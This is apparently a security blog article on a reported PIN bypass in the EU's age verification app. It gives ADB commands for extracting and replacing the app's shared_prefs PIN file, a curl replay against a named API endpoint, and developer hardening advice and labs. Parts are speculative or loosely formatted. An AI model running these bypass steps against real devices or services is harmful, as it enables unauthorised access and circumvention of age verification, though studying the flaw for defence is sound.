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Introduction:
The European Commission’s newly launched Digital Age Verification App, designed to shield minors from harmful content, has suffered a catastrophic authentication bypass. Security researcher Paul Moore demonstrated that the app stores an encrypted PIN in a local `shared_prefs` configuration file without cryptographically binding it to the actual identity vault—rendering the encryption meaningless and allowing full access in under two minutes.
Learning Objectives:
- Understand how insecure local storage of authentication tokens enables rapid bypass attacks.
- Execute hands-on Android forensics commands to extract and modify application configuration files.
- Implement cryptographic binding and server-side validation to prevent similar vulnerabilities in age verification systems.
You Should Know:
- Anatomy of the Flaw: Why Local PIN Storage Fails Without Vault Binding
The app prompts users to create a PIN during setup. It then encrypts this PIN and writes it to /data/data/<app.package>/shared_prefs/pin_config.xml. However, the encryption key is either static or derived locally, and the encrypted PIN is never validated against the remote identity vault during subsequent unlocks. This means an attacker with physical or ADB access can simply replace the encrypted PIN value with their own—or delete the file—and bypass the lock.
Step‑by‑step explanation of what this does and how to exploit it:
- Locate the app’s package name using `adb shell pm list packages | grep -i age` (or similar).
- Pull the shared_prefs directory to your local machine for analysis:
adb shell run-as <package_name> cat /data/data/<package_name>/shared_prefs/pin_config.xml > pin_config.xml
Note: On non‑rooted devices, `run-as` works only for debuggable apps; otherwise root or a backup exploit is needed.
- Inspect the file – look for a tag like
<string name="encrypted_pin">someBase64==</string>. - Replace the value with an encrypted PIN of your choosing (or simply delete the PIN requirement by setting an empty string).
5. Push the modified file back:
adb push modified_pin.xml /sdcard/ adb shell cp /sdcard/modified_pin.xml /data/data/<package_name>/shared_prefs/pin_config.xml chmod 660 /data/data/<package_name>/shared_prefs/pin_config.xml
6. Restart the app – the authentication screen now accepts any PIN or none at all.
Windows alternative using PowerShell and ADB:
adb shell "run-as <package_name> cat /data/data/<package_name>/shared_prefs/pin_config.xml" | Out-File -FilePath pin_config.xml Edit file with Notepad or VS Code adb push .\modified_pin.xml /sdcard/ adb shell "cp /sdcard/modified_pin.xml /data/data/<package_name>/shared_prefs/pin_config.xml && chmod 660 /data/data/<package_name>/shared_prefs/pin_config.xml"
- Forensic Analysis Commands for Auditing Local App Storage
To determine if an app is vulnerable to this class of attack, security testers should inspect the following artifacts on both Linux and Windows.
Linux/macOS (using Android Debug Bridge):
List all shared_prefs for the target app adb shell "run-as <package_name> ls -la /data/data/<package_name>/shared_prefs/" Dump all preferences files adb shell "run-as <package_name> cat /data/data/<package_name>/shared_prefs/.xml" Check file permissions – world‑readable files are a red flag adb shell "run-as <package_name> ls -l /data/data/<package_name>/shared_prefs/" For rooted devices, extract the entire app data directory adb shell su -c "tar -czf /sdcard/app_data.tar.gz /data/data/<package_name>/" adb pull /sdcard/app_data.tar.gz
Windows Command Prompt (ADB in PATH):
adb shell "run-as <package_name> dir /data/data/<package_name>/shared_prefs" adb shell "run-as <package_name> type /data/data/<package_name>/shared_prefs\pin_config.xml"
PowerShell one‑liner to check for encrypted PIN files:
adb shell "run-as <package_name> find /data/data/<package_name>/shared_prefs/ -name '.xml' -exec grep -l 'pin|token|key' {} \;"
3. Cryptographic Binding: How to Fix the Flaw
The core issue is that the encrypted PIN is not tied to the identity vault’s credentials. A secure implementation would:
– Never store the PIN locally; instead, derive a key from the PIN and a server‑provided salt, then compare a hash on the server side.
– Use Android Keystore with hardware binding, so the encrypted PIN cannot be decrypted on another device.
– Implement time‑limited one‑time passwords (TOTP) for age verification instead of a static PIN.
Step‑by‑step hardening guide for developers:
- Remove local PIN validation – move all authentication logic to the backend.
- Generate a cryptographically random salt per user, stored on the server.
- On PIN creation, send `PBKDF2(PIN, salt, 100000 iterations)` to the server; never store the raw PIN or its encrypted form locally.
- On unlock, repeat the derivation and compare server‑side.
- For offline scenarios, use Android’s `KeyGenParameterSpec` with `setUserAuthenticationRequired(true)` to tie the PIN to the device’s secure lock screen.
Example of secure local storage using Android Keystore (Kotlin snippet):
val keyGenParameterSpec = KeyGenParameterSpec.Builder( "age_vault_key", KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT ).setBlockModes(KeyProperties.BLOCK_MODE_GCM) .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE) .setUserAuthenticationRequired(true) .setUserAuthenticationValidityDurationSeconds(30) .build() // The encrypted data is bound to the user’s lock screen credentials
- API Security Lessons from the Identity Vault Oversight
The EU app likely exposes an API endpoint like `/verify-age` that accepts a token derived from the local PIN. Because the PIN itself is locally replaceable, an attacker can generate a valid token without ever knowing the real user’s age credentials.
Common API vulnerabilities to test:
- Missing binding between PIN and user ID – does the API accept any PIN that decrypts to a valid format?
- Lack of request signing – can an attacker replay a captured authentication request?
- No rate limiting – brute‑forcing the PIN becomes trivial if the server does not limit attempts.
Cloud hardening command (using `curl` to test for binding flaws):
Capture a legitimate authentication request (e.g., via Burp Suite)
Then modify the PIN parameter and replay
curl -X POST https://api.age-verification.eu/v1/validate \
-H "Content-Type: application/json" \
-d '{"userId": "[email protected]", "pin": "0000"}' \
--proxy http://127.0.0.1:8080
If the server returns success with a wrong PIN, the binding is broken.
- Real‑World Impact on EU’s Digital Services Act (DSA)
The DSA mandates age verification for platforms hosting harmful content. This vulnerability demonstrates that rushed compliance leads to insecure implementations. Attackers can now:
– Impersonate minors to access restricted content.
– Bypass parental consent controls.
– Expose the identity vault’s backend to further attacks if the PIN is used as a decryption key.
Mitigation at the infrastructure level:
- Deploy Web Application Firewall (WAF) rules to detect abnormal PIN validation patterns.
- Enforce certificate pinning to prevent MITM attacks that could capture the local configuration file.
- Use runtime application self‑protection (RASP) to detect tampering of `shared_prefs` files.
6. Training Recommendations for Secure Mobile Development
Developers must learn that “encrypted locally” does not equal “secure”. OWASP Mobile Top 10 – M5 (Insufficient Cryptography) and M1 (Improper Platform Usage) directly apply here.
Suggested hands‑on lab for security courses:
- Build a simple Android app that stores a PIN in
SharedPreferences. - Use `adb` to extract and modify the file (as shown in Section 1).
- Implement a fix using Android Keystore with server‑side hash comparison.
- Repeat the extraction attempt – verify that the PIN cannot be bypassed.
Free training resources:
- OWASP Mobile Security Testing Guide (MSTG) – Chapter 3: Data Storage on Android.
- SANS SEC575: Mobile Device Security (contains labs on `shared_prefs` exploitation).
What Undercode Say:
- Local encryption without cryptographic binding is security theater. The EU app’s design gave a false sense of protection while leaving the PIN editable in plain sight. Always assume an attacker has full filesystem access.
- Age verification demands server‑side, hardware‑backed authentication. Relying on client‑side storage for any access control is a critical design flaw. The 2‑minute bypass should be a wake‑up call for regulators mandating “secure” solutions without proper threat modeling.
Analysis: The vulnerability echoes countless past failures – from Android lock screen bypasses to IoT device backdoors. The core mistake is treating encryption as a silver bullet while ignoring integrity and binding. For security professionals, this case reinforces the need to test not just “if” data is encrypted, but “what” prevents an attacker from replacing it. The EU must now issue an emergency patch and reconsider its entire age verification architecture, possibly moving to decentralized identifiers (DIDs) and verifiable credentials that never touch the client device in a mutable form.
Prediction:
Within six months, we will see widespread exploitation scripts on GitHub targeting similar “local PIN” age verification apps across other EU member states. This incident will accelerate regulatory pressure for hardware‑based attestation (e.g., Android SafetyNet or iOS App Attest) in all DSA‑related software. Conversely, threat actors will shift from network attacks to physical and ADB‑based tampering, making device integrity verification a mandatory compliance control. The long‑term outcome may be a complete ban on client‑stored authentication secrets for age‑sensitive services, pushing the industry toward server‑side session tokens with short lifetimes and continuous behavioural checks.
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